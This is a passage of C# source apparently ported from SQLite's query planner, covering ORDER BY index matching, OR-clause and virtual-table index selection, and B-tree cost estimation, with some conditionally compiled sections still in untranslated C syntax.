is DESC */\n    )\n    {\n      int i, j;                       /* Loop counters */\n      int sortOrder = 0;              /* XOR of index and ORDER BY sort direction */\n      int nTerm;                      /* Number of ORDER BY terms */\n      ExprList_item pTerm;    /* A term of the ORDER BY clause */\n      sqlite3 db = pParse.db;\n\n      Debug.Assert( pOrderBy != null );\n      nTerm = pOrderBy.nExpr;\n      Debug.Assert( nTerm > 0 );\n\n      /* Match terms of the ORDER BY clause against columns of\n      ** the index.\n      **\n      ** Note that indices have pIdx.nColumn regular columns plus\n      ** one additional column containing the rowid.  The rowid column\n      ** of the index is also allowed to match against the ORDER BY\n      ** clause.\n      */\n      for ( i = j = 0 ; j < nTerm && i <= pIdx.nColumn ; i++ )\n      {\n        pTerm = pOrderBy.a[j];\n        Expr pExpr;        /* The expression of the ORDER BY pTerm */\n        CollSeq pColl;     /* The collating sequence of pExpr */\n        int termSortOrder; /* Sort order for this term */\n        int iColumn;       /* The i-th column of the index.  -1 for rowid */\n        int iSortOrder;    /* 1 for DESC, 0 for ASC on the i-th index term */\n        string zColl;      /* Name of the collating sequence for i-th index term */\n\n        pExpr = pTerm.pExpr;\n        if ( pExpr.op != TK_COLUMN || pExpr.iTable != _base )\n        {\n          /* Can not use an index sort on anything that is not a column in the\n          ** left-most table of the FROM clause */\n          break;\n        }\n        pColl = sqlite3ExprCollSeq( pParse, pExpr );\n        if ( null == pColl )\n        {\n          pColl = db.pDfltColl;\n        }\n        if ( i < pIdx.nColumn )\n        {\n          iColumn = pIdx.aiColumn[i];\n          if ( iColumn == pIdx.pTable.iPKey )\n          {\n            iColumn = -1;\n          }\n          iSortOrder = pIdx.aSortOrder[i];\n          zColl = pIdx.azColl[i];\n        }\n        else\n        {\n          iColumn = -1;\n          iSortOrder = 0;\n          zColl = pColl.zName;\n        }\n        if ( pExpr.iColumn != iColumn || sqlite3StrICmp( pColl.zName, zColl ) != 0 )\n        {\n          /* Term j of the ORDER BY clause does not match column i of the index */\n          if ( i < nEqCol )\n          {\n            /* If an index column that is constrained by == fails to match an\n            ** ORDER BY term, that is OK.  Just ignore that column of the index\n            */\n            continue;\n          }\n          else if ( i == pIdx.nColumn )\n          {\n            /* Index column i is the rowid.  All other terms match. */\n            break;\n          }\n          else\n          {\n            /* If an index column fails to match and is not constrained by ==\n            ** then the index cannot satisfy the ORDER BY constraint.\n            */\n            return false;\n          }\n        }\n        Debug.Assert( pIdx.aSortOrder != null );\n        Debug.Assert( pTerm.sortOrder == 0 || pTerm.sortOrder == 1 );\n        Debug.Assert( iSortOrder == 0 || iSortOrder == 1 );\n        termSortOrder = iSortOrder ^ pTerm.sortOrder;\n        if ( i > nEqCol )\n        {\n          if ( termSortOrder != sortOrder )\n          {\n            /* Indices can only be used if all ORDER BY terms past the\n            ** equality constraints are all either DESC or ASC. */\n            return false;\n          }\n        }\n        else\n        {\n          sortOrder = termSortOrder;\n        }\n        j++;\n        //pTerm++;\n        if ( iColumn < 0 && !referencesOtherTables( pOrderBy, pMaskSet, j, _base ) )\n        {\n          /* If the indexed column is the primary key and everything matches\n          ** so far and none of the ORDER BY terms to the right reference other\n          ** tables in the join, then we are Debug.Assured that the index can be used\n          ** to sort because the primary key is unique and so none of the other\n          ** columns will make any difference\n          */\n          j = nTerm;\n        }\n      }\n\n      pbRev = sortOrder != 0 ? 1 : 0;\n      if ( j >= nTerm )\n      {\n        /* All terms of the ORDER BY clause are covered by this index so\n        ** this index can be used for sorting. */\n        return true;\n      }\n      if ( pIdx.onError != OE_None && i == pIdx.nColumn\n      && !referencesOtherTables( pOrderBy, pMaskSet, j, _base ) )\n      {\n        /* All terms of this index match some prefix of the ORDER BY clause\n        ** and the index is UNIQUE and no terms on the tail of the ORDER BY\n        ** clause reference other tables in a join.  If this is all true then\n        ** the order by clause is superfluous. */\n        return true;\n      }\n      return false;\n    }\n\n    /*\n    ** Check table to see if the ORDER BY clause in pOrderBy can be satisfied\n    ** by sorting in order of ROWID.  Return true if so and set pbRev to be\n    ** true for reverse ROWID and false for forward ROWID order.\n    */\n    static bool sortableByRowid(\n    int _base,             /* Cursor number for table to be sorted */\n    ExprList pOrderBy,     /* The ORDER BY clause */\n    WhereMaskSet pMaskSet, /* Mapping from table cursors to bitmaps */\n    ref int pbRev          /* Set to 1 if ORDER BY is DESC */\n    )\n    {\n      Expr p;\n\n      Debug.Assert( pOrderBy != null );\n      Debug.Assert( pOrderBy.nExpr > 0 );\n      p = pOrderBy.a[0].pExpr;\n      if ( p.op == TK_COLUMN && p.iTable == _base && p.iColumn == -1\n      && !referencesOtherTables( pOrderBy, pMaskSet, 1, _base ) )\n      {\n        pbRev = pOrderBy.a[0].sortOrder;\n        return true;\n      }\n      return false;\n    }\n\n    /*\n    ** Prepare a crude estimate of the logarithm of the input value.\n    ** The results need not be exact.  This is only used for estimating\n    ** the total cost of performing operations with O(logN) or O(NlogN)\n    ** complexity.  Because N is just a guess, it is no great tragedy if\n    ** logN is a little off.\n    */\n    static double estLog( double N )\n    {\n      double logN = 1;\n      double x = 10;\n      while ( N > x )\n      {\n        logN += 1;\n        x *= 10;\n      }\n      return logN;\n    }\n\n    /*\n    ** Two routines for printing the content of an sqlite3_index_info\n    ** structure.  Used for testing and debugging only.  If neither\n    ** SQLITE_TEST or SQLITE_DEBUG are defined, then these routines\n    ** are no-ops.\n    */\n#if  !(SQLITE_OMIT_VIRTUALTABLE) && (SQLITE_DEBUG)\nstatic void TRACE_IDX_INPUTS( sqlite3_index_info p )\n{\nint i;\nif ( !sqlite3WhereTrace ) return;\nfor ( i = 0 ; i < p.nConstraint ; i++ )\n{\nsqlite3DebugPrintf( \"  constraint[%d]: col=%d termid=%d op=%d usabled=%d\\n\",\ni,\np.aConstraint[i].iColumn,\np.aConstraint[i].iTermOffset,\np.aConstraint[i].op,\np.aConstraint[i].usable );\n}\nfor ( i = 0 ; i < p.nOrderBy ; i++ )\n{\nsqlite3DebugPrintf( \"  orderby[%d]: col=%d desc=%d\\n\",\ni,\np.aOrderBy[i].iColumn,\np.aOrderBy[i].desc );\n}\n}\nstatic void TRACE_IDX_OUTPUTS( sqlite3_index_info p )\n{\nint i;\nif ( !sqlite3WhereTrace ) return;\nfor ( i = 0 ; i < p.nConstraint ; i++ )\n{\nsqlite3DebugPrintf( \"  usage[%d]: argvIdx=%d omit=%d\\n\",\ni,\np.aConstraintUsage[i].argvIndex,\np.aConstraintUsage[i].omit );\n}\nsqlite3DebugPrintf( \"  idxNum=%d\\n\", p.idxNum );\nsqlite3DebugPrintf( \"  idxStr=%s\\n\", p.idxStr );\nsqlite3DebugPrintf( \"  orderByConsumed=%d\\n\", p.orderByConsumed );\nsqlite3DebugPrintf( \"  estimatedCost=%g\\n\", p.estimatedCost );\n}\n#else\n    //#define TRACE_IDX_INPUTS(A)\n    //#define TRACE_IDX_OUTPUTS(A)\n#endif\n\n    /*\n** Required because bestIndex() is called by bestOrClauseIndex()\n*/\n    //static void bestIndex(\n    //Parse*, WhereClause*, struct SrcList_item*, Bitmask, ExprList*, WhereCost*);\n\n    /*\n    ** This routine attempts to find an scanning strategy that can be used\n    ** to optimize an 'OR' expression that is part of a WHERE clause.\n    **\n    ** The table associated with FROM clause term pSrc may be either a\n    ** regular B-Tree table or a virtual table.\n    */\n    static void bestOrClauseIndex(\n    Parse pParse,               /* The parsing context */\n    WhereClause pWC,            /* The WHERE clause */\n    SrcList_item pSrc,         /* The FROM clause term to search */\n    Bitmask notReady,           /* Mask of cursors that are not available */\n    ExprList pOrderBy,          /* The ORDER BY clause */\n    WhereCost pCost             /* Lowest cost query plan */\n    )\n    {\n#if !SQLITE_OMIT_OR_OPTIMIZATION\n      int iCur = pSrc.iCursor;   /* The cursor of the table to be accessed */\n      Bitmask maskSrc = getMask( pWC.pMaskSet, iCur );  /* Bitmask for pSrc */\n      WhereTerm pWCEnd = pWC.a[pWC.nTerm];        /* End of pWC.a[] */\n      WhereTerm pTerm;                 /* A single term of the WHERE clause */\n\n      /* Search the WHERE clause terms for a usable WO_OR term. */\n      for ( int _pt = 0 ; _pt < pWC.nTerm ; _pt++ )//<pWCEnd; pTerm++)\n      {\n        pTerm = pWC.a[_pt];\n        if ( pTerm.eOperator == WO_OR\n        && ( ( pTerm.prereqAll & ~maskSrc ) & notReady ) == 0\n        && ( pTerm.u.pOrInfo.indexable & maskSrc ) != 0\n        )\n        {\n          WhereClause pOrWC = pTerm.u.pOrInfo.wc;\n          WhereTerm pOrWCEnd = pOrWC.a[pOrWC.nTerm];\n          WhereTerm pOrTerm;\n          int flags = WHERE_MULTI_OR;\n          double rTotal = 0;\n          double nRow = 0;\n\n          for ( int _pOrWC = 0 ; _pOrWC < pOrWC.nTerm ; _pOrWC++ )//pOrTerm = pOrWC.a ; pOrTerm < pOrWCEnd ; pOrTerm++ )\n          {\n            pOrTerm = pOrWC.a[_pOrWC];\n            WhereCost sTermCost = null;\n#if  (SQLITE_TEST) && (SQLITE_DEBUG)\n            WHERETRACE( \"... Multi-index OR testing for term %d of %d....\\n\",\n            _pOrWC, pOrWC.nTerm - _pOrWC//( pOrTerm - pOrWC.a ), ( pTerm - pWC.a )\n            );\n#endif\n            if ( pOrTerm.eOperator == WO_AND )\n            {\n              WhereClause pAndWC = pOrTerm.u.pAndInfo.wc;\n              bestIndex( pParse, pAndWC, pSrc, notReady, null, ref sTermCost );\n            }\n            else if ( pOrTerm.leftCursor == iCur )\n            {\n              WhereClause tempWC = new WhereClause();\n              tempWC.pParse = pWC.pParse;\n              tempWC.pMaskSet = pWC.pMaskSet;\n              tempWC.op = TK_AND;\n              tempWC.a = new WhereTerm[2];\n              tempWC.a[0] = pOrTerm;\n              tempWC.nTerm = 1;\n              bestIndex( pParse, tempWC, pSrc, notReady, null, ref sTermCost );\n            }\n            else\n            {\n              continue;\n            }\n            rTotal += sTermCost.rCost;\n            nRow += sTermCost.nRow;\n            if ( rTotal >= pCost.rCost ) break;\n          }\n\n          /* If there is an ORDER BY clause, increase the scan cost to account\n          ** for the cost of the sort. */\n          if ( pOrderBy != null )\n          {\n            rTotal += nRow * estLog( nRow );\n#if  (SQLITE_TEST) && (SQLITE_DEBUG)\n            WHERETRACE( \"... sorting increases OR cost to %.9g\\n\", rTotal );\n#endif\n          }\n\n          /* If the cost of scanning using this OR term for optimization is\n          ** less than the current cost stored in pCost, replace the contents\n          ** of pCost. */\n#if  (SQLITE_TEST) && (SQLITE_DEBUG)\n          WHERETRACE( \"... multi-index OR cost=%.9g nrow=%.9g\\n\", rTotal, nRow );\n#endif\n          if ( rTotal < pCost.rCost )\n          {\n            pCost.rCost = rTotal;\n            pCost.nRow = nRow;\n            pCost.plan.wsFlags = (uint)flags;\n            pCost.plan.u.pTerm = pTerm;\n          }\n        }\n      }\n#endif //* SQLITE_OMIT_OR_OPTIMIZATION */\n    }\n\n#if !SQLITE_OMIT_VIRTUALTABLE\n/*\n** Allocate and populate an sqlite3_index_info structure. It is the\n** responsibility of the caller to eventually release the structure\n** by passing the pointer returned by this function to //sqlite3_free().\n*/\nstatic sqlite3_index_info *allocateIndexInfo(\nParse *pParse,\nWhereClause *pWC,\nstruct SrcList_item *pSrc,\nExprList *pOrderBy\n){\nint i, j;\nint nTerm;\nstruct sqlite3_index_constraint *pIdxCons;\nstruct sqlite3_index_orderby *pIdxOrderBy;\nstruct sqlite3_index_constraint_usage *pUsage;\nWhereTerm *pTerm;\nint nOrderBy;\nsqlite3_index_info *pIdxInfo;\n\nWHERETRACE(\"Recomputing index info for %s...\\n\", pSrc.pTab.zName);\n\n/* Count the number of possible WHERE clause constraints referring\n** to this virtual table */\nfor(i=nTerm=0, pTerm=pWC.a; i<pWC.nTerm; i++, pTerm++){\nif( pTerm.leftCursor != pSrc.iCursor ) continue;\nDebug.Assert( (pTerm.eOperator&(pTerm.eOperator-1))==null );\ntestcase( pTerm.eOperator==WO_IN );\ntestcase( pTerm.eOperator==WO_ISNULL );\nif( pTerm.eOperator & (WO_IN|WO_ISNULL) ) continue;\nnTerm++;\n}\n\n/* If the ORDER BY clause contains only columns in the current\n** virtual table then allocate space for the aOrderBy part of\n** the sqlite3_index_info structure.\n*/\nnOrderBy = 0;\nif( pOrderBy ){\nfor(i=0; i<pOrderBy.nExpr; i++){\nExpr pExpr = pOrderBy.a[i].pExpr;\nif( pExpr.op!=TK_COLUMN || pExpr.iTable!=pSrc.iCursor ) break;\n}\nif( i==pOrderBy.nExpr ){\nnOrderBy = pOrderBy.nExpr;\n}\n}\n\n/* Allocate the sqlite3_index_info structure\n*/\npIdxInfo = new sqlite3_index_info();\n//sqlite3DbMallocZero(pParse.db, sizeof(*pIdxInfo)\n//+ (sizeof(*pIdxCons) + sizeof(*pUsage))*nTerm\n//+ sizeof(*pIdxOrderBy)*nOrderBy );\nif( pIdxInfo==null ){\nsqlite3ErrorMsg(pParse, \"out of memory\");\n/* (double)0 In case of SQLITE_OMIT_FLOATING_POINT... */\nreturn 0;\n}\n\n/* Initialize the structure.  The sqlite3_index_info structure contains\n** many fields that are declared \"const\" to prevent xBestIndex from\n** changing them.  We have to do some funky casting in order to\n** initialize those fields.\n*/\npIdxCons = (sqlite3_index_constraint)pIdxInfo[1];\npIdxOrderBy = (sqlite3_index_orderby)pIdxCons[nTerm];\npUsage = (sqlite3_index_constraint_usage)pIdxOrderBy[nOrderBy];\npIdxInfo.nConstraint = nTerm;\npIdxInfo.nOrderBy = nOrderBy;\npIdxInfo.aConstraint = pIdxCons;\npIdxInfo.aOrderBy = pIdxOrderBy;\npIdxInfo.aConstraintUsage =\npUsage;\n\nfor(i=j=0, pTerm=pWC.a; i<pWC.nTerm; i++, pTerm++){\nif( pTerm.leftCursor != pSrc.iCursor ) continue;\nDebug.Assert( (pTerm.eOperator&(pTerm.eOperator-1))==null );\ntestcase( pTerm.eOperator==WO_IN );\ntestcase( pTerm.eOperator==WO_ISNULL );\nif( pTerm.eOperator & (WO_IN|WO_ISNULL) ) continue;\npIdxCons[j].iColumn = pTerm.u.leftColumn;\npIdxCons[j].iTermOffset = i;\npIdxCons[j].op = (u8)pTerm.eOperator;\n/* The direct Debug.Assignment in the previous line is possible only because\n** the WO_ and SQLITE_INDEX_CONSTRAINT_ codes are identical.  The\n** following Debug.Asserts verify this fact. */\nDebug.Assert( WO_EQ==SQLITE_INDEX_CONSTRAINT_EQ );\nDebug.Assert( WO_LT==SQLITE_INDEX_CONSTRAINT_LT );\nDebug.Assert( WO_LE==SQLITE_INDEX_CONSTRAINT_LE );\nDebug.Assert( WO_GT==SQLITE_INDEX_CONSTRAINT_GT );\nDebug.Assert( WO_GE==SQLITE_INDEX_CONSTRAINT_GE );\nDebug.Assert( WO_MATCH==SQLITE_INDEX_CONSTRAINT_MATCH );\nDebug.Assert( pTerm.eOperator & (WO_EQ|WO_LT|WO_LE|WO_GT|WO_GE|WO_MATCH) );\nj++;\n}\nfor(i=0; i<nOrderBy; i++){\nExpr pExpr = pOrderBy.a[i].pExpr;\npIdxOrderBy[i].iColumn = pExpr.iColumn;\npIdxOrderBy[i].desc = pOrderBy.a[i].sortOrder;\n}\n\nreturn pIdxInfo;\n}\n\n/*\n** The table object reference passed as the second argument to this function\n** must represent a virtual table. This function invokes the xBestIndex()\n** method of the virtual table with the sqlite3_index_info pointer passed\n** as the argument.\n**\n** If an error occurs, pParse is populated with an error message and a\n** non-zero value is returned. Otherwise, 0 is returned and the output\n** part of the sqlite3_index_info structure is left populated.\n**\n** Whether or not an error is returned, it is the responsibility of the\n** caller to eventually free p.idxStr if p.needToFreeIdxStr indicates\n** that this is required.\n*/\nstatic int vtabBestIndex(Parse *pParse, Table *pTab, sqlite3_index_info *p){\nsqlite3_vtab *pVtab = sqlite3GetVTable(pParse->db, pTab)->pVtab;\nint i;\nint rc;\n\n(void)sqlite3SafetyOff(pParse.db);\nWHERETRACE(\"xBestIndex for %s\\n\", pTab.zName);\nTRACE_IDX_INPUTS(p);\nrc = pVtab.pModule.xBestIndex(pVtab, p);\nTRACE_IDX_OUTPUTS(p);\n(void)sqlite3SafetyOn(pParse.db);\n\nif( rc!=SQLITE_OK ){\nif( rc==SQLITE_NOMEM ){\npParse.db.mallocFailed = 1;\n}else if( !pVtab.zErrMsg ){\nsqlite3ErrorMsg(pParse, \"%s\", sqlite3ErrStr(rc));\n}else{\nsqlite3ErrorMsg(pParse, \"%s\", pVtab.zErrMsg);\n}\n}\n//sqlite3DbFree(pParse.db, pVtab.zErrMsg);\npVtab.zErrMsg = 0;\n\nfor(i=0; i<p.nConstraint; i++){\nif( !p.aConstraint[i].usable && p.aConstraintUsage[i].argvIndex>0 ){\nsqlite3ErrorMsg(pParse,\n\"table %s: xBestIndex returned an invalid plan\", pTab.zName);\n}\n}\n\nreturn pParse.nErr;\n}\n\n\n/*\n** Compute the best index for a virtual table.\n**\n** The best index is computed by the xBestIndex method of the virtual\n** table module.  This routine is really just a wrapper that sets up\n** the sqlite3_index_info structure that is used to communicate with\n** xBestIndex.\n**\n** In a join, this routine might be called multiple times for the\n** same virtual table.  The sqlite3_index_info structure is created\n** and initialized on the first invocation and reused on all subsequent\n** invocations.  The sqlite3_index_info structure is also used when\n** code is generated to access the virtual table.  The whereInfoDelete()\n** routine takes care of freeing the sqlite3_index_info structure after\n** everybody has finished with it.\n*/\nstatic void bestVirtualIndex(\nParse *pParse,                  /* The parsing context */\nWhereClause *pWC,               /* The WHERE clause */\nstruct SrcList_item *pSrc,      /* The FROM clause term to search */\nBitmask notReady,               /* Mask of cursors that are not available */\nExprList *pOrderBy,             /* The order by clause */\nWhereCost *pCost,               /* Lowest cost query plan */\nsqlite3_index_info **ppIdxInfo  /* Index information passed to xBestIndex */\n){\nTable *pTab = pSrc.pTab;\nsqlite3_index_info *pIdxInfo;\nstruct sqlite3_index_constraint *pIdxCons;\nstruct sqlite3_index_constraint_usage *pUsage;\nWhereTerm *pTerm;\nint i, j;\nint nOrderBy;\n\n/* Make sure wsFlags is initialized to some sane value. Otherwise, if the\n** malloc in allocateIndexInfo() fails and this function returns leaving\n** wsFlags in an uninitialized state, the caller may behave unpredictably.\n*/\nmemset(pCost, 0, sizeof(*pCost));\npCost.plan.wsFlags = WHERE_VIRTUALTABLE;\n\n/* If the sqlite3_index_info structure has not been previously\n** allocated and initialized, then allocate and initialize it now.\n*/\npIdxInfo = *ppIdxInfo;\nif( pIdxInfo==0 ){\n*ppIdxInfo = pIdxInfo = allocateIndexInfo(pParse, pWC, pSrc, pOrderBy);\n}\nif( pIdxInfo==0 ){\nreturn;\n}\n\n/* At this point, the sqlite3_index_info structure that pIdxInfo points\n** to will have been initialized, either during the current invocation or\n** during some prior invocation.  Now we just have to customize the\n** details of pIdxInfo for the current invocation and pDebug.Ass it to\n** xBestIndex.\n*/\n\n/* The module name must be defined. Also, by this point there must\n** be a pointer to an sqlite3_vtab structure. Otherwise\n** sqlite3ViewGetColumnNames() would have picked up the error.\n*/\nDebug.Assert( pTab.azModuleArg && pTab.azModuleArg[0] );\nDebug.Assert( sqlite3GetVTable(pParse.db, pTab) );\n\n/* Set the aConstraint[].usable fields and initialize all\n** output variables to zero.\n**\n** aConstraint[].usable is true for constraints where the right-hand\n** side contains only references to tables to the left of the current\n** table.  In other words, if the constraint is of the form:\n**\n**           column = expr\n**\n** and we are evaluating a join, then the constraint on column is\n** only valid if all tables referenced in expr occur to the left\n** of the table containing column.\n**\n** The aConstraints[] array contains entries for all constraints\n** on the current table.  That way we only have to compute it once\n** even though we might try to pick the best index multiple times.\n** For each attempt at picking an index, the order of tables in the\n** join might be different so we have to recompute the usable flag\n** each time.\n*/\npIdxCons = pIdxInfo.aConstraint;\npUsage = pIdxInfo.aConstraintUsage;\nfor(i=0; i<pIdxInfo.nConstraint; i++, pIdxCons++){\nj = pIdxCons.iTermOffset;\npTerm = pWC.a[j];\npIdxCons.usable =  (pTerm.prereqRight & notReady)==null ?1:0;\npUsage[i] = new sqlite3_index_constraint_usage();\n}\n// memset(pUsage, 0, sizeof(pUsage[0])*pIdxInfo.nConstraint);\nif( pIdxInfo.needToFreeIdxStr ){\n//sqlite3_free(pIdxInfo.idxStr);\n}\npIdxInfo.idxStr = 0;\npIdxInfo.idxNum = 0;\npIdxInfo.needToFreeIdxStr = 0;\npIdxInfo.orderByConsumed = 0;\n/* ((double)2) In case of SQLITE_OMIT_FLOATING_POINT... */\npIdxInfo.estimatedCost = SQLITE_BIG_DBL / ((double)2);\nnOrderBy = pIdxInfo.nOrderBy;\nif( !pOrderBy ){\npIdxInfo.nOrderBy = 0;\n}\n\nif( vtabBestIndex(pParse, pTab, pIdxInfo) ){\nreturn;\n}\n\n/* The cost is not allowed to be larger than SQLITE_BIG_DBL (the\n** inital value of lowestCost in this loop. If it is, then the\n** (cost<lowestCost) test below will never be true.\n**\n** Use \"(double)2\" instead of \"2.0\" in case OMIT_FLOATING_POINT\n** is defined.\n*/\nif( (SQLITE_BIG_DBL/((double)2))<pIdxInfo.estimatedCost ){\npCost.rCost = (SQLITE_BIG_DBL/((double)2));\n}else{\npCost.rCost = pIdxInfo.estimatedCost;\n}\npCost.plan.u.pVtabIdx = pIdxInfo;\nif( pIdxInfo->orderByConsumed ){\npCost.plan.wsFlags |= WHERE_ORDERBY;\n}\npCost.plan.nEq = 0;\npIdxInfo.nOrderBy = nOrderBy;\n\n/* Try to find a more efficient access pattern by using multiple indexes\n** to optimize an OR expression within the WHERE clause.\n*/\nbestOrClauseIndex(pParse, pWC, pSrc, notReady, pOrderBy, pCost);\n}\n#endif //* SQLITE_OMIT_VIRTUALTABLE */\n\n    /*\n** Find the query plan for accessing a particular table.  Write the\n** best query plan and its cost into the WhereCost object supplied as the\n** last parameter.\n**\n** The lowest cost plan wins.  The cost is an estimate of the amount of\n** CPU and disk I/O need to process the request using the selected plan.\n** Factors that influence cost include:\n**\n**    *  The estimated number of rows that will be retrieved.  (The\n**       fewer the better.)\n**\n**    *  Whether or not sorting must occur.\n**\n**    *  Whether or not there must be separate lookups in the\n**       index and in the main table.\n**\n** If there was an INDEXED BY clause (pSrc.pIndex) attached to the table in\n** the SQL statement, then this function only considers plans using the\n** named index. If no such plan is found, then the returned cost is\n** SQLITE_BIG_DBL. If a plan is found that uses the named index,\n** then the cost is calculated in the usual way.\n**\n** If a NOT INDEXED clause (pSrc.notIndexed!=0) was attached to the table\n** in the SELECT statement, then no indexes are considered. However, the\n** selected plan may still take advantage of the tables built-in rowid\n** index.\n*/\n    static void bestBtreeIndex(\n    Parse pParse,              /* The parsing context */\n    WhereClause pWC,           /* The WHERE clause */\n    SrcList_item pSrc,         /* The FROM clause term to search */\n    Bitmask notReady,          /* Mask of cursors that are not available */\n    ExprList pOrderBy,         /* The ORDER BY clause */\n    ref WhereCost pCost            /* Lowest cost query plan */\n    )\n    {\n      WhereTerm pTerm;           /* A single term of the WHERE clause */\n      int iCur = pSrc.iCursor;   /* The cursor of the table to be accessed */\n      Index pProbe;              /* An index we are evaluating */\n      int rev = 0;                 /* True to scan in reverse order */\n      u32 wsFlags;               /* Flags Debug.Associated with pProbe */\n      int nEq;                   /* Number of == or IN constraints */\n      u32 eqTermMask;            /* Mask of valid equality operators */\n      double cost;               /* Cost of using pProbe */\n      double nRow;               /* Estimated number of rows in result set */\n      int i;                     /* Loop counter */\n\n      WHERETRACE( \"bestIndex: tbl=%s notReady=%llx\\n\", pSrc.pTab.zName, notReady );\n      pProbe = pSrc.pTab.pIndex;\n      if ( pSrc.notIndexed != 0 )\n      {\n        pProbe = null;\n      }\n\n      /* If the table has no indices and there are no terms in the where\n      ** clause that refer to the ROWID, then we will never be able to do\n      ** anything other than a full table scan on this table.  We might as\n      ** well put it first in the join order.  That way, perhaps it can be\n      ** referenced by other tables in the join.\n      */\n      pCost = new WhereCost();//memset(pCost, 0, sizeof(*pCost));\n      if ( pProbe == null &&\n      findTerm( pWC, iCur, -1, 0, WO_EQ | WO_IN | WO_LT | WO_LE | WO_GT | WO_GE, null ) == null &&\n      ( pOrderBy == null || !sortableByRowid( iCur, pOrderBy, pWC.pMaskSet, ref rev ) ) )\n      {\n        if ( ( pParse.db.flags & SQLITE_ReverseOrder ) != 0 )\n        {\n          /* For application testing, randomly reverse the output order for\n          ** SELECT statements that omit the ORDER BY clause.  This will help\n          ** to find cases where\n          */\n          pCost.plan.wsFlags |= WHERE_REVERSE;\n        }\n        return;\n      }\n      pCost.rCost = SQLITE_BIG_DBL;\n\n      /* Check for a rowid=EXPR or rowid IN (...) constraints. If there was\n      ** an INDEXED BY clause attached to this table, skip this step.\n      */\n      if ( null == pSrc.pIndex )\n      {\n        pTerm = findTerm( pWC, iCur, -1, notReady, WO_EQ | WO_IN, null );\n        if ( pTerm != null )\n        {\n          Expr pExpr;\n          pCost.plan.wsFlags = WHERE_ROWID_EQ;\n          if ( ( pTerm.eOperator & WO_EQ ) != 0 )\n          {\n            /* Rowid== is always the best pick.  Look no further.  Because only\n            ** a single row is generated, output is always in sorted order */\n            pCost.plan.wsFlags = WHERE_ROWID_EQ | WHERE_UNIQUE;\n            pCost.plan.nEq = 1;\n            WHERETRACE( \"... best is rowid\\n\" );\n            pCost.rCost = 0;\n            pCost.nRow = 1;\n            return;\n          }\n          else if ( !ExprHasProperty( ( pExpr = pTerm.pExpr ), EP_xIsSelect )\n          && pExpr.x.pList != null\n          )\n          {\n            /* Rowid IN (LIST): cost is NlogN where N is the number of list\n            ** elements.  */\n            pCost.rCost = pCost.nRow = pExpr.x.pList.nExpr;\n            pCost.rCost *= estLog( pCost.rCost );\n          }\n          else\n          {\n            /* Rowid IN (SELECT): cost is NlogN where N is the number of rows\n            ** in the result of the inner select.  We have no way to estimate\n            ** that value so make a wild guess. */\n            pCost.nRow = 100;\n            pCost.rCost = 200;\n          }\n          WHERETRACE( \"... rowid IN cost: %.9g\\n\", pCost.rCost );\n        }\n\n        /* Estimate the cost of a table scan.  If we do not know how many\n        ** entries are in the table, use 1 million as a guess.\n        */\n        cost = pProbe != null ? pProbe.aiRowEst[0] : 1000000;\n        WHERETRACE( \"... table scan _base cost: %.9g\\n\", cost );\n        wsFlags = WHERE_ROWID_RANGE;\n\n        /* Check for constraints on a range of rowids in a table scan.\n        */\n        pTerm = findTerm( pWC, iCur, -1, notReady, WO_LT | WO_LE | WO_GT | WO_GE, null );\n        if ( pTerm != null )\n        {\n          if ( findTerm( pWC, iCur, -1, notReady, WO_LT | WO_LE, null ) != null )\n          {\n            wsFlags |= WHERE_TOP_LIMIT;\n            cost /= 3;  /* Guess that rowid<EXPR eliminates two-thirds of rows */\n          }\n          if ( findTerm( pWC, iCur, -1, notReady, WO_GT | WO_GE, null ) != null )\n          {\n            wsFlags |= WHERE_BTM_LIMIT;\n            cost /= 3;  /* Guess that rowid>EXPR eliminates two-thirds of rows */\n          }\n          WHERETRACE( \"... rowid range reduces cost to %.9g\\n\", cost );\n        }\n        else\n        {\n          wsFlags = 0;\n        }\n        nRow = cost;\n\n        /* If the table scan does not satisfy the ORDER BY clause, increase\n        ** the cost by NlogN to cover the expense of sorting. */\n        if ( pOrderBy != null )\n        {\n          if ( sortableByRowid( iCur, pOrderBy, pWC.pMaskSet, ref rev ) )\n          {\n            wsFlags |= WHERE_ORDERBY | WHERE_ROWID_RANGE;\n            if ( rev != 0 )\n            {\n              wsFlags |= WHERE_REVERSE;\n            }\n          }\n          else\n          {\n            cost += cost * estLog( cost );\n            WHERETRACE( \"... sorting increases cost to %.9g\\n\", cost );\n          }\n        }\n        else if ( ( pParse.db.flags & SQLITE_ReverseOrder ) != 0 )\n        {\n          /* For application testing, randomly reverse the output order for\n          ** SELECT statements that omit the ORDER BY clause.  This will help\n          ** to find cases where\n          */\n          wsFlags |= WHERE_REVERSE;\n        }\n        /* Remember this case if it is the best so far */\n        if ( cost < pCost.rCost )\n        {\n          pCost.rCost = cost;\n          pCost.nRow = nRow;\n          pCost.plan.wsFlags = wsFlags;\n        }\n      }\n\n      bestOrClauseIndex( pParse, pWC, pSrc, notReady, pOrderBy, pCost );\n\n      /* If the pSrc table is the right table of a LEFT JOIN then we may not\n      ** use an index to satisfy IS NULL constraints on that table.  This is\n      ** because columns might end up being NULL if the table does not match -\n      ** a circumstance which the index cannot help us discover.  Ticket #2177.\n      */\n      if ( ( pSrc.jointype & JT_LEFT ) != 0 )\n      {\n        eqTermMask = WO_EQ | WO_IN;\n      }\n      else\n      {\n        eqTermMask = WO_EQ | WO_IN | WO_ISNULL;\n      }\n\n      /* Look at each index.\n      */\n      if ( pSrc.pIndex != null )\n      {\n        pProbe = pSrc.pIndex;\n      }\n      for ( ; pProbe != null ; pProbe = ( pSrc.pIndex != null ? null : pProbe.pNext ) )\n      {\n        double inMultiplier = 1;  /* Number of equality look-ups needed */\n        int inMultIsEst = 0;      /* True if inMultiplier is an estimate */\n\n#if (SQLITE_TEST) && (SQLITE_DEBUG)\n        WHERETRACE( \"... index %s:\\n\", pProbe.zName );\n#endif\n\n        /* Count the number of columns in the index that are satisfied\n** by x=EXPR or x IS NULL constraints or x IN (...) constraints.\n** For a term of the form x=EXPR or x IS NULL we only have to do\n** a single binary search.  But for x IN (...) we have to do a\n** number of binary searched\n** equal to the number of entries on the RHS of the IN operator.\n** The inMultipler variable with try to estimate the number of\n** binary searches needed.\n*/\n        wsFlags = 0;\n        for ( i = 0 ; i < pProbe.nColumn ; i++ )\n        {\n          int j = pProbe.aiColumn[i];\n          pTerm = findTerm( pWC, iCur, j, notReady, (uint)eqTermMask, pProbe );\n          if ( pTerm == null ) break;\n          wsFlags |= WHERE_COLUMN_EQ;\n          if ( ( pTerm.eOperator & WO_IN ) != 0 )\n          {\n            Expr pExpr = pTerm.pExpr;\n            wsFlags |= WHERE_COLUMN_IN;\n            if ( ExprHasProperty( pExpr, EP_xIsSelect 